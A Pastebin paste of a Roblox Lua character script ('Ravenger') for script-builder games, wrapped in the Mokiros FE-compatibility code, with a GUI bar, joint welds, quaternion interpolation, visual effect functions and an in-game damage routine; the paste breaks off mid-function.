SHARE
TWEET

Ravenger fe ver

rcubed1003 Sep 19th, 2019 21 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. -- This script has convert to FE by who i don't know?
  2.  
  3. -----------------------------------------------------
  4. if game:GetService("RunService"):IsClient() then error("Script must be server-side in order to work; use h/ and not hl/") end
  5. local Player,game,owner = owner,game
  6. local RealPlayer = Player
  7. do
  8.     print("FE Compatibility code by Mokiros | Showcase by Bacon Hair!")
  9.     local rp = RealPlayer
  10.     script.Parent = rp.Character
  11.    
  12.     --RemoteEvent for communicating
  13.     local Event = Instance.new("RemoteEvent")
  14.     Event.Name = "UserInput_Event"
  15.  
  16.     --Fake event to make stuff like Mouse.KeyDown work
  17.     local function fakeEvent()
  18.         local t = {_fakeEvent=true,Functions={},Connect=function(self,f)table.insert(self.Functions,f) end}
  19.         t.connect = t.Connect
  20.         return t
  21.     end
  22.  
  23.     --Creating fake input objects with fake variables
  24.     local m = {Target=nil,Hit=CFrame.new(),KeyUp=fakeEvent(),KeyDown=fakeEvent(),Button1Up=fakeEvent(),Button1Down=fakeEvent()}
  25.     local UIS = {InputBegan=fakeEvent(),InputEnded=fakeEvent()}
  26.     local CAS = {Actions={},BindAction=function(self,name,fun,touch,...)
  27.         CAS.Actions[name] = fun and {Name=name,Function=fun,Keys={...}} or nil
  28.     end}
  29.     --Merged 2 functions into one by checking amount of arguments
  30.     CAS.UnbindAction = CAS.BindAction
  31.  
  32.     --This function will trigger the events that have been :Connect()'ed
  33.     local function te(self,ev,...)
  34.         local t = m[ev]
  35.         if t and t._fakeEvent then
  36.             for _,f in pairs(t.Functions) do
  37.                 f(...)
  38.             end
  39.         end
  40.     end
  41.     m.TrigEvent = te
  42.     UIS.TrigEvent = te
  43.  
  44.     Event.OnServerEvent:Connect(function(plr,io)
  45.         if plr~=rp then return end
  46.         m.Target = io.Target
  47.         m.Hit = io.Hit
  48.         if not io.isMouse then
  49.             local b = io.UserInputState == Enum.UserInputState.Begin
  50.             if io.UserInputType == Enum.UserInputType.MouseButton1 then
  51.                 return m:TrigEvent(b and "Button1Down" or "Button1Up")
  52.             end
  53.             for _,t in pairs(CAS.Actions) do
  54.                 for _,k in pairs(t.Keys) do
  55.                     if k==io.KeyCode then
  56.                         t.Function(t.Name,io.UserInputState,io)
  57.                     end
  58.                 end
  59.             end
  60.             m:TrigEvent(b and "KeyDown" or "KeyUp",io.KeyCode.Name:lower())
  61.             UIS:TrigEvent(b and "InputBegan" or "InputEnded",io,false)
  62.         end
  63.     end)
  64.     Event.Parent = NLS([==[
  65.     local Player = game:GetService("Players").LocalPlayer
  66.     local Event = script:WaitForChild("UserInput_Event")
  67.  
  68.     local Mouse = Player:GetMouse()
  69.     local UIS = game:GetService("UserInputService")
  70.     local input = function(io,a)
  71.         if a then return end
  72.         --Since InputObject is a client-side instance, we create and pass table instead
  73.         Event:FireServer({KeyCode=io.KeyCode,UserInputType=io.UserInputType,UserInputState=io.UserInputState,Hit=Mouse.Hit,Target=Mouse.Target})
  74.     end
  75.     UIS.InputBegan:Connect(input)
  76.     UIS.InputEnded:Connect(input)
  77.  
  78.     local h,t
  79.     --Give the server mouse data 30 times every second, but only if the values changed
  80.     --If player is not moving their mouse, client won't fire events
  81.     while wait(1/30) do
  82.         if h~=Mouse.Hit or t~=Mouse.Target then
  83.             h,t=Mouse.Hit,Mouse.Target
  84.             Event:FireServer({isMouse=true,Target=t,Hit=h})
  85.         end
  86.     end]==],Player.Character)
  87.  
  88.     ----Sandboxed game object that allows the usage of client-side methods and services
  89.     --Real game object
  90.     local _rg = game
  91.  
  92.     --Metatable for fake service
  93.     local fsmt = {
  94.         __index = function(self,k)
  95.             local s = rawget(self,"_RealService")
  96.             if s then return s[k] end
  97.         end,
  98.         __newindex = function(self,k,v)
  99.             local s = rawget(self,"_RealService")
  100.             if s then s[k]=v end
  101.         end,
  102.         __call = function(self,...)
  103.             local s = rawget(self,"_RealService")
  104.             if s then return s(...) end
  105.         end
  106.     }
  107.     local function FakeService(t,RealService)
  108.         t._RealService = typeof(RealService)=="string" and _rg:GetService(RealService) or RealService
  109.         return setmetatable(t,fsmt)
  110.     end
  111.  
  112.     --Fake game object
  113.     local g = {
  114.         GetService = function(self,s)
  115.             return self[s]
  116.         end,
  117.         Players = FakeService({
  118.             LocalPlayer = FakeService({GetMouse=function(self)return m end},Player)
  119.         },"Players"),
  120.         UserInputService = FakeService(UIS,"UserInputService"),
  121.         ContextActionService = FakeService(CAS,"ContextActionService"),
  122.     }
  123.     rawset(g.Players,"localPlayer",g.Players.LocalPlayer)
  124.     g.service = g.GetService
  125.    
  126.     g.RunService = FakeService({
  127.         RenderStepped = _rg:GetService("RunService").Heartbeat,
  128.         BindToRenderStep = function(self,name,_,fun)
  129.  
  130.         end,
  131.         UnbindFromRenderStep = function(self,name)
  132.             self._btrs[name]:Disconnect()
  133.         end,
  134.     },"RunService")
  135.  
  136.     setmetatable(g,{
  137.         __index=function(self,s)
  138.             return _rg:GetService(s) or typeof(_rg[s])=="function"
  139.             and function(_,...)return _rg[s](_rg,...)end or _rg[s]
  140.         end,
  141.         __newindex = fsmt.__newindex,
  142.         __call = fsmt.__call
  143.     })
  144.     --Changing owner to fake player object to support owner:GetMouse()
  145.     game,owner = g,g.Players.LocalPlayer
  146. end
  147. --[[ Leaked by CLarramore ]]--
  148. -- Ever since 3/10/2016 this script started to get popular in oxcool1's SB
  149. -- I am now spreading this on
  150. -- You can now make ur edits with this
  151. -- ENTIRELY OPEN SOURCED!!!! YAY!
  152. -- 1337 views. l0l
  153. -- NightOwlAce dont kill me
  154. Player=game:GetService("Players").LocalPlayer
  155. Character=Player.Character
  156. PlayerGui=Player.PlayerGui
  157. Backpack=Player.Backpack
  158. Torso=Character.Torso
  159. Head=Character.Head
  160. Humanoid=Character.Humanoid
  161. m=Instance.new('Model',Character)
  162. LeftArm=Character["Left Arm"]
  163. LeftLeg=Character["Left Leg"]
  164. RightArm=Character["Right Arm"]
  165. RightLeg=Character["Right Leg"]
  166. LS=Torso["Left Shoulder"]
  167. LH=Torso["Left Hip"]
  168. RS=Torso["Right Shoulder"]
  169. RH=Torso["Right Hip"]
  170. Face = Head.face
  171. Neck=Torso.Neck
  172. it=Instance.new
  173. attacktype=1
  174. vt=Vector3.new
  175. cf=CFrame.new
  176. euler=CFrame.fromEulerAnglesXYZ
  177. angles=CFrame.Angles
  178. cloaked=false
  179. necko=cf(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  180. necko2=cf(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  181. LHC0=cf(-1,-1,0,-0,-0,-1,0,1,0,1,0,0)
  182. LHC1=cf(-0.5,1,0,-0,-0,-1,0,1,0,1,0,0)
  183. RHC0=cf(1,-1,0,0,0,1,0,1,0,-1,-0,-0)
  184. RHC1=cf(0.5,1,0,0,0,1,0,1,0,-1,-0,-0)
  185. RootPart=Character.HumanoidRootPart
  186. RootJoint=RootPart.RootJoint
  187. RootCF=euler(-1.57,0,3.14)
  188. attack = false
  189. attackdebounce = false
  190. deb=false
  191. equipped=true
  192. hand=false
  193. MMouse=nil
  194. combo=0
  195. mana=0
  196. trispeed=1
  197. pathtrans=.7
  198. attackmode='none'
  199. local idle=0
  200. local Anim="Idle"
  201. local Effects={}
  202. local gun=false
  203. local shoot=false
  204. player=nil
  205. cloak=false
  206. lightcolor='Bright blue'
  207.  
  208. local Color1=Torso.BrickColor
  209.  
  210. local fengui=it("GuiMain")
  211. fengui.Parent=Player.PlayerGui
  212. fengui.Name="WeaponGUI"
  213. local fenframe=it("Frame")
  214. fenframe.Parent=fengui
  215. fenframe.BackgroundColor3=Color3.new(255,255,255)
  216. fenframe.BackgroundTransparency=1
  217. fenframe.BorderColor3=Color3.new(17,17,17)
  218. fenframe.Size=UDim2.new(0.0500000007, 0, 0.100000001, 0)
  219. fenframe.Position=UDim2.new(0.4,0,0.1,0)
  220. local fenbarmana1=it("TextLabel")
  221. fenbarmana1.Parent=fenframe
  222. fenbarmana1.Text=" "
  223. fenbarmana1.BackgroundTransparency=0
  224. fenbarmana1.BackgroundColor3=Color3.new(0,0,0)
  225. fenbarmana1.SizeConstraint="RelativeXY"
  226. fenbarmana1.TextXAlignment="Center"
  227. fenbarmana1.TextYAlignment="Center"
  228. fenbarmana1.Position=UDim2.new(0,0,0,0)
  229. fenbarmana1.Size=UDim2.new(4,0,0.2,0)
  230. local fenbarmana2=it("TextLabel")
  231. fenbarmana2.Parent=fenframe
  232. fenbarmana2.Text=" "
  233. fenbarmana2.BackgroundTransparency=0
  234. fenbarmana2.BackgroundColor3=Torso.Color
  235. fenbarmana2.SizeConstraint="RelativeXY"
  236. fenbarmana2.TextXAlignment="Center"
  237. fenbarmana2.TextYAlignment="Center"
  238. fenbarmana2.Position=UDim2.new(0,0,0,0)
  239. fenbarmana2.Size=UDim2.new(4*mana/100,0,0.2,0)
  240. local fenbarmana3=it("TextLabel")
  241. fenbarmana3.Parent=fenframe
  242. fenbarmana3.Text=" "
  243. fenbarmana3.BackgroundTransparency=0
  244. fenbarmana3.BackgroundColor3=Color3.new(Col1,Col2,Col3)
  245. fenbarmana3.SizeConstraint="RelativeXY"
  246. fenbarmana3.TextXAlignment="Center"
  247. fenbarmana3.TextYAlignment="Center"
  248. fenbarmana3.Position=UDim2.new(0,0,0,0)
  249. fenbarmana3.Size=UDim2.new(0,0,0.2,0)
  250. local fenbarmana4=it("TextLabel")
  251. fenbarmana4.Parent=fenframe
  252. fenbarmana4.Text="Energy("..mana..")"
  253. fenbarmana4.BackgroundTransparency=1
  254. fenbarmana4.BackgroundColor3=Color3.new(0,0,0)
  255. fenbarmana4.SizeConstraint="RelativeXY"
  256. fenbarmana4.TextXAlignment="Center"
  257. fenbarmana4.TextYAlignment="Center"
  258. fenbarmana4.Position=UDim2.new(0,0,-0.3,0)
  259. fenbarmana4.Size=UDim2.new(4,0,0.2,0)
  260. fenbarmana4.FontSize="Size9"
  261. fenbarmana4.TextStrokeTransparency=0
  262. fenbarmana4.TextColor=BrickColor.new("White")
  263.  
  264. mouse=Player:GetMouse()
  265. --save shoulders
  266. RSH, LSH=nil, nil
  267. --welds
  268. RW, LW=Instance.new("Weld"), Instance.new("Weld")
  269. RW.Name="Right Shoulder" LW.Name="Left Shoulder"
  270. LH=Torso["Left Hip"]
  271. RH=Torso["Right Hip"]
  272. TorsoColor=Torso.BrickColor
  273. function NoOutline(Part)
  274. Part.TopSurface,Part.BottomSurface,Part.LeftSurface,Part.RightSurface,Part.FrontSurface,Part.BackSurface = 10,10,10,10,10,10
  275. end
  276. player=Player
  277. ch=Character
  278. RSH=ch.Torso["Right Shoulder"]
  279. LSH=ch.Torso["Left Shoulder"]
  280. --
  281. RSH.Parent=nil
  282. LSH.Parent=nil
  283. --
  284. RW.Name="Right Shoulder"
  285. RW.Part0=ch.Torso
  286. RW.C0=cf(1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.3, 0, -0.5)
  287. RW.C1=cf(0, 0.5, 0)
  288. RW.Part1=ch["Right Arm"]
  289. RW.Parent=ch.Torso
  290. --
  291. LW.Name="Left Shoulder"
  292. LW.Part0=ch.Torso
  293. LW.C0=cf(-1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.7, 0, 0.8)
  294. LW.C1=cf(0, 0.5, 0)
  295. LW.Part1=ch["Left Arm"]
  296. LW.Parent=ch.Torso
  297.  
  298. function part(formfactor,parent,reflectance,transparency,brickcolor,name,size)
  299. local fp=it("Part")
  300. fp.formFactor=formfactor
  301. fp.Parent=parent
  302. fp.Reflectance=reflectance
  303. fp.Transparency=transparency
  304. fp.CanCollide=false
  305. fp.Locked=true
  306. fp.BrickColor=brickcolor
  307. fp.Name=name
  308. fp.Size=size
  309. fp.Position=Torso.Position
  310. NoOutline(fp)
  311. fp.Material="Neon"
  312. fp:BreakJoints()
  313. return fp
  314. end
  315.  
  316. function mesh(Mesh,part,meshtype,meshid,offset,scale)
  317. local mesh=it(Mesh)
  318. mesh.Parent=part
  319. if Mesh=="SpecialMesh" then
  320. mesh.MeshType=meshtype
  321. if meshid~="nil" then
  322. mesh.MeshId="http://www.roblox.com/asset/?id="..meshid
  323. end
  324. end
  325. mesh.Offset=offset
  326. mesh.Scale=scale
  327. return mesh
  328. end
  329.  
  330. function weld(parent,part0,part1,c0)
  331. local weld=it("Weld")
  332. weld.Parent=parent
  333. weld.Part0=part0
  334. weld.Part1=part1
  335. weld.C0=c0
  336. return weld
  337. end
  338.  
  339. local Color1=Torso.BrickColor
  340.  
  341. local bodvel=Instance.new("BodyVelocity")
  342. local bg=Instance.new("BodyGyro")
  343.  
  344. function swait(num)
  345. if num==0 or num==nil then
  346. game:service'RunService'.Stepped:wait(0)
  347. else
  348. for i=0,num do
  349. game:service'RunService'.Stepped:wait(0)
  350. end
  351. end
  352. end
  353.  
  354.  
  355. so = function(id,par,vol,pit)
  356. coroutine.resume(coroutine.create(function()
  357. local sou = Instance.new("Sound",par or workspace)
  358. sou.Volume=vol
  359. sou.Pitch=pit or 1
  360. sou.SoundId=id
  361. swait()
  362. sou:play()
  363. game:GetService("Debris"):AddItem(sou,6)
  364. end))
  365. end
  366.  
  367. function clerp(a,b,t)
  368. local qa = {QuaternionFromCFrame(a)}
  369. local qb = {QuaternionFromCFrame(b)}
  370. local ax, ay, az = a.x, a.y, a.z
  371. local bx, by, bz = b.x, b.y, b.z
  372. local _t = 1-t
  373. return QuaternionToCFrame(_t*ax + t*bx, _t*ay + t*by, _t*az + t*bz,QuaternionSlerp(qa, qb, t))
  374. end
  375.  
  376. function QuaternionFromCFrame(cf)
  377. local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components()
  378. local trace = m00 + m11 + m22
  379. if trace > 0 then
  380. local s = math.sqrt(1 + trace)
  381. local recip = 0.5/s
  382. return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5
  383. else
  384. local i = 0
  385. if m11 > m00 then
  386. i = 1
  387. end
  388. if m22 > (i == 0 and m00 or m11) then
  389. i = 2
  390. end
  391. if i == 0 then
  392. local s = math.sqrt(m00-m11-m22+1)
  393. local recip = 0.5/s
  394. return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip
  395. elseif i == 1 then
  396. local s = math.sqrt(m11-m22-m00+1)
  397. local recip = 0.5/s
  398. return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip
  399. elseif i == 2 then
  400. local s = math.sqrt(m22-m00-m11+1)
  401. local recip = 0.5/s return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip
  402. end
  403. end
  404. end
  405.  
  406. function QuaternionToCFrame(px, py, pz, x, y, z, w)
  407. local xs, ys, zs = x + x, y + y, z + z
  408. local wx, wy, wz = w*xs, w*ys, w*zs
  409. local xx = x*xs
  410. local xy = x*ys
  411. local xz = x*zs
  412. local yy = y*ys
  413. local yz = y*zs
  414. local zz = z*zs
  415. return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy))
  416. end
  417.  
  418. function QuaternionSlerp(a, b, t)
  419. local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4]
  420. local startInterp, finishInterp;
  421. if cosTheta >= 0.0001 then
  422. if (1 - cosTheta) > 0.0001 then
  423. local theta = math.acos(cosTheta)
  424. local invSinTheta = 1/math.sin(theta)
  425. startInterp = math.sin((1-t)*theta)*invSinTheta
  426. finishInterp = math.sin(t*theta)*invSinTheta  
  427. else
  428. startInterp = 1-t
  429. finishInterp = t
  430. end
  431. else
  432. if (1+cosTheta) > 0.0001 then
  433. local theta = math.acos(-cosTheta)
  434. local invSinTheta = 1/math.sin(theta)
  435. startInterp = math.sin((t-1)*theta)*invSinTheta
  436. finishInterp = math.sin(t*theta)*invSinTheta
  437. else
  438. startInterp = t-1
  439. finishInterp = t
  440. end
  441. end
  442. return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp
  443. end
  444.  
  445. function rayCast(Pos, Dir, Max, Ignore)  -- Origin Position , Direction, MaxDistance , IgnoreDescendants
  446. return game:service("Workspace"):FindPartOnRay(Ray.new(Pos, Dir.unit * (Max or 999.999)), Ignore)
  447. end
  448.  
  449. function SkullEffect(brickcolor,cframe,x1,y1,z1,delay)
  450. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  451. prt.Anchored=true
  452. prt.CFrame=cframe
  453. local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=4770583",vt(0,0,0),vt(x1,y1,z1))
  454. --http://www.roblox.com/asset/?id=4770560
  455. game:GetService("Debris"):AddItem(prt,2)
  456. CF=prt.CFrame
  457. coroutine.resume(coroutine.create(function(Part,Mesh,TehCF)
  458. for i=0,1,0.2 do
  459. wait()
  460. Part.CFrame=CF*cf(0,0,-0.4)
  461. end
  462. for i=0,1,delay do
  463. wait()
  464. --Part.CFrame=CF*cf((math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5)
  465. Mesh.Scale=Mesh.Scale
  466. end
  467. for i=0,1,0.1 do
  468. wait()
  469. Part.Transparency=i
  470. end
  471. Part.Parent=nil
  472. end),prt,msh,CF)
  473. end
  474.  
  475. function MagicBlock(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  476. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  477. prt.Anchored=true
  478. prt.CFrame=cframe
  479. msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  480. game:GetService("Debris"):AddItem(prt,5)
  481. coroutine.resume(coroutine.create(function(Part,Mesh)
  482. for i=0,1,delay do
  483. wait()
  484. Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  485. Part.Transparency=i
  486. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  487. end
  488. Part.Parent=nil
  489. end),prt,msh)
  490. end
  491.  
  492. function MagicBlock2(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay)
  493. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  494. prt.Anchored=false
  495. prt.CFrame=cframe
  496. msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  497. local wld=weld(prt,prt,Parent,cframe)
  498. game:GetService("Debris"):AddItem(prt,5)
  499. coroutine.resume(coroutine.create(function(Part,Mesh,Weld)
  500. for i=0,1,delay do
  501. wait()
  502. Weld.C0=euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))*cframe
  503. --Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  504. Part.Transparency=i
  505. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  506. end
  507. Part.Parent=nil
  508. end),prt,msh,wld)
  509. end
  510.  
  511. function MagicBlock3(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay)
  512. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  513. prt.Anchored=false
  514. prt.CFrame=cframe
  515. msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  516. local wld=weld(prt,prt,Parent,euler(0,0,0)*cf(0,0,0))
  517. game:GetService("Debris"):AddItem(prt,5)
  518. coroutine.resume(coroutine.create(function(Part,Mesh,Weld)
  519. for i=0,1,delay do
  520. wait()
  521. Weld.C0=euler(i*20,0,0)
  522. --Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  523. Part.Transparency=i
  524. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  525. end
  526. Part.Parent=nil
  527. end),prt,msh,wld)
  528. end
  529.  
  530. function MagicCircle2(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  531. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  532. prt.Anchored=true
  533. prt.CFrame=cframe
  534. local msh=mesh("CylinderMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  535. game:GetService("Debris"):AddItem(prt,2)
  536. coroutine.resume(coroutine.create(function(Part,Mesh)
  537. for i=0,1,delay do
  538. wait()
  539. Part.CFrame=Part.CFrame
  540. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  541. local prt2=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  542. prt2.Anchored=true
  543. prt2.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  544. local msh2=mesh("SpecialMesh",prt2,"Sphere","",vt(0,0,0),vt(0.5,0.5,0.5))
  545. game:GetService("Debris"):AddItem(prt2,2)
  546. coroutine.resume(coroutine.create(function(Part,Mesh)
  547. for i=0,1,0.1 do
  548. wait()
  549. Part.CFrame=Part.CFrame*cf(0,0.5,0)
  550. end
  551. Part.Parent=nil
  552. end),prt2,msh2)
  553. end
  554. for i=0,1,delay*2 do
  555. wait()
  556. Part.CFrame=Part.CFrame
  557. Mesh.Scale=vt((x1+x3)-(x1+x3)*i,(y1+y3)-(y1+y3)*i,(z1+z3)-(z1+z3)*i)
  558. end
  559. Part.Parent=nil
  560. end),prt,msh)
  561. end
  562.  
  563. function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  564. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  565. prt.Anchored=true
  566. prt.CFrame=cframe
  567. local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
  568. game:GetService("Debris"):AddItem(prt,2)
  569. coroutine.resume(coroutine.create(function(Part,Mesh)
  570. for i=0,1,delay do
  571. wait()
  572. Part.CFrame=Part.CFrame
  573. Part.Transparency=i
  574. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  575. end
  576. Part.Parent=nil
  577. end),prt,msh)
  578. end
  579.  
  580. function MagicRing(brickcolor,cframe,x1,y1,z1,x2,y2,z2,x3,y3,z3)
  581. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  582. prt.Anchored=true
  583. prt.CFrame=cframe*euler(x2,y2,z2)
  584. --"http://www.roblox.com/asset/?id=168892465"
  585. local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=3270017",vt(0,0,0),vt(x1,y1,z1))
  586. game:GetService("Debris"):AddItem(prt,2)
  587. coroutine.resume(coroutine.create(function(Part,Mesh)
  588. for i=0,1,0.03 do
  589. wait()
  590. Part.CFrame=Part.CFrame
  591. Part.Transparency=i
  592. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  593. end
  594. Part.Parent=nil
  595. end),prt,msh)
  596. end
  597.  
  598. function BreakEffect(brickcolor,cframe,x1,y1,z1)
  599. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  600. prt.Anchored=true
  601. prt.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  602. local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
  603. game:GetService("Debris"):AddItem(prt,2)
  604. coroutine.resume(coroutine.create(function(Part,CF,Numbb,randnumb)
  605. CF=Part.CFrame
  606. Numbb=0
  607. randnumb=math.random()/10
  608. rand1=math.random()/10
  609. for i=0,1,rand1 do
  610. wait()
  611. CF=CF*cf(0,math.random()/2,0)
  612. --Part.CFrame=Part.CFrame*euler(0.5,0,0)*cf(0,1,0)
  613. Part.CFrame=CF*euler(Numbb,0,0)
  614. Part.Transparency=i
  615. Numbb=Numbb+randnumb
  616. end
  617. Part.Parent=nil
  618. end),prt,CF,Numbb,randnumb)
  619. end
  620.  
  621. function MagicWaveThing(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  622. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  623. prt.Anchored=true
  624. prt.CFrame=cframe
  625. msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=1051557",vt(0,0,0),vt(x1,y1,z1))
  626. game:GetService("Debris"):AddItem(prt,5)
  627. coroutine.resume(coroutine.create(function(Part,Mesh)
  628. for i=0,1,delay do
  629. wait()
  630. Part.CFrame=Part.CFrame*euler(0,0.7,0)
  631. Part.Transparency=i
  632. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  633. end
  634. Part.Parent=nil
  635. end),prt,msh)
  636. end
  637.  
  638. function WaveEffect(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  639. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  640. prt.Anchored=true
  641. prt.CFrame=cframe
  642. msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=20329976",vt(0,0,0),vt(x1,y1,z1))
  643. game:GetService("Debris"):AddItem(prt,2)
  644. coroutine.resume(coroutine.create(function(Part,Mesh)
  645. for i=0,1,delay do
  646. wait()
  647. Part.CFrame=Part.CFrame*cf(0,y3/2,0)
  648. Part.Transparency=i
  649. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  650. end
  651. Part.Parent=nil
  652. end),prt,msh)
  653. end
  654.  
  655. function StravEffect(brickcolor,cframe,x,y,z,x1,y1,z1,delay)
  656. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  657. prt.Anchored=true
  658. prt.CFrame=cframe*cf(x,y,z)
  659. msh=mesh("SpecialMesh",prt,"FileMesh","rbxassetid://168892363",vt(0,0,0),vt(x1,y1,z1))
  660. game:GetService("Debris"):AddItem(prt,5)
  661. coroutine.resume(coroutine.create(function(Part,Mesh,ex,why,zee)
  662. local num=math.random()
  663. local num2=math.random(-3,2)+math.random()
  664. local numm=0
  665. for i=0,1,delay*2 do
  666. swait()
  667. Part.CFrame=cframe*euler(0,numm*num*10,0)*cf(ex,why,zee)*cf(-i*10,num2,0)
  668. Part.Transparency=i
  669. numm=numm+0.01
  670. end
  671. Part.Parent=nil
  672. Mesh.Parent=nil
  673. end),prt,msh,x,y,z)
  674. end
  675.  
  676. Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock)
  677.         if hit.Parent==nil then
  678.                 return
  679.         end
  680.         h=hit.Parent:FindFirstChild("Humanoid")
  681.         for _,v in pairs(hit.Parent:children()) do
  682.         if v:IsA("Humanoid") then
  683.         h=v
  684.         end
  685.         end
  686.         if hit.Parent.Parent:FindFirstChild("Torso")~=nil then
  687.         h=hit.Parent.Parent:FindFirstChild("Humanoid")
  688.         end
  689.         if hit.Parent.className=="Hat" then
  690.         hit=hit.Parent.Parent:findFirstChild("Head")
  691.         end
  692.         if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then
  693.         if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end
  694.         --[[                if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then
  695.                         return
  696.                 end]]
  697. --                        hs(hit,1.2)
  698.                         c=Instance.new("ObjectValue")
  699.                         c.Name="creator"
  700.                         c.Value=game:service("Players").LocalPlayer
  701.                         c.Parent=h
  702.                         game:GetService("Debris"):AddItem(c,.5)
  703.                 Damage=math.random(minim,maxim)
  704. --                h:TakeDamage(Damage)
  705.                 blocked=false
  706.                 block=hit.Parent:findFirstChild("Block")
  707.                 if block~=nil then
  708.                 print(block.className)
  709.                 if block.className=="NumberValue" then
  710.                 if block.Value>0 then
  711.                 blocked=true
  712.                 if decreaseblock==nil then
  713.                 block.Value=block.Value-1
  714.                 end
  715.                 end
  716.                 end
  717.                 if block.className=="IntValue" then
  718.                 if block.Value>0 then
  719.                 blocked=true
  720.                 if decreaseblock~=nil then
  721.                 block.Value=block.Value-1
  722.                 end
  723.                 end
  724.                 end
  725.                 end
  726.                 if blocked==false then
  727. --                h:TakeDamage(Damage)
  728.                 h.Health=h.Health-Damage
  729.                 showDamage(hit.Parent,Damage,.5,TorsoColor)
  730.                 else
  731.                 h.Health=h.Health-(Damage/2)
  732.                 showDamage(hit.Parent,Damage/2,.5,BrickColor.new("Bright blue"))
  733.                 end
  734.                 if Type=="Knockdown" then
  735.                 hum=hit.Parent.Humanoid
  736. hum.PlatformStand=true
  737. coroutine.resume(coroutine.create(function(HHumanoid)
  738. swait(1)
  739. HHumanoid.PlatformStand=false
  740. end),hum)
  741.                 local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit
  742. --hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0)
  743. local bodvol=Instance.new("BodyVelocity")
  744. bodvol.velocity=angle*knockback
  745. bodvol.P=5000
  746. bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003)
  747. bodvol.Parent=hit
  748. rl=Instance.new("BodyAngularVelocity")
  749. rl.P=3000
  750. rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
  751. rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10))
  752. rl.Parent=hit
  753. game:GetService("Debris"):AddItem(bodvol,.5)
  754. game:GetService("Debris"):AddItem(rl,.5)
  755.                 elseif Type=="Normal" then
